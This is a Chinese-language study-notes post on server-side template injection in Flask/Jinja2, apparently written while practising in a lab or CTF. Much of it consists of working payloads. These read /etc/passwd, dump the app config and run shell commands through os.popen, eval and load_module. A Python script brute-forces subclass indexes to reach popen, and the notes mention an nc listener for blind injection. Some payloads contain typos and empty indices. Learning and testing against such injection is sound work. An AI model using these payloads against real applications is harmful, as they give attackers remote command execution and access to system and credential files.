SSTI学习过程
开启

flask
host='0.0.0.0'

监听自身地址
debug debug=True 只在学习中用
1.自动识别错误
2.自动更新路由
3.自动更新地址
动态构建URL


flask模板
视图函数主要作用生成请求的响应
def hello():
return "1"
使用模板使用静态页面展示动态内容
render_template 加载html文件默认文件路径在templates目录下

1、在index.html写入
<br>
{{ my_str }}
2、或者{% set a='dazhuang' %}{{ a }}
3、my_str = request.args.get('ben')不要忘记@app.route('路径')url/路径?ben=666 html的显示666
4、return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>页面<br>%s</body></html>' % my_str)

两个参数其中my_int=request.args.get('ben');
注入模板漏洞
Flask代码不严谨
没有严格控制用户输入


{{7*7}}显示49,会执行


继承关系和魔术方法
最终父类都是object
class B(A) 子类(父类)
class C(B)
c.__class__ <class'__main__C'>当前类C
c.__class__.__base__ <class'__main__.B'>当前类C的父类B
c.__class__.__mro__ 列出所有父类的关系
c.__class__.base__.__subclasses__() B类下的所有子类或者用mro[1]

117是os._wrap
文件读取
查找子类
_frozen_importlib_external.FileLoader


{{''.__class__.mro__[1].__subclasses__()[]["get_data"](0,"/etc/passwd")}}
flag在配置文件{{config}}
内嵌函数eval执行命令


{{''.__class__.bases__[0].__subclasses__()[].__init__.globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
OS模块执行命令

{{self.__dict__._TemplateReference__context.keys()}}
通过config.__class__.init__globals__['os'].popen('whoami'.read())
通过{{url_for.__globals__.os.oppen('').read()}}
在已经加载过OS模块的子类直接调用os模块
{{".__class__.bases__[0].__subclasses__()[].__init__.globals__['os'].popen("").read()}}
importlib类执行命令
查找_frozen_importlib.BuiltinImporter

{{().__class__.__base__.__subclasses__()[]["load_module"]("os")["popen"]("").read()}}




绕过{{}}
import requests
url="http://127.0.0.1:5000/level/2"
for i in range(300):
try:
data={"code":'{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}Benben{% endif %}'}
response=requests.post(url,data=data)
if response.status_code==200:
if "Benben" in response.text:
print(i,"-->",data)
break
except:
pass


SSTI盲注思路

再用nc -lvp 7777监听



对中括号的过滤



request绕过单双引号过滤
request在flask中可以访问基于HTTP请求的传递所有的信息






AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)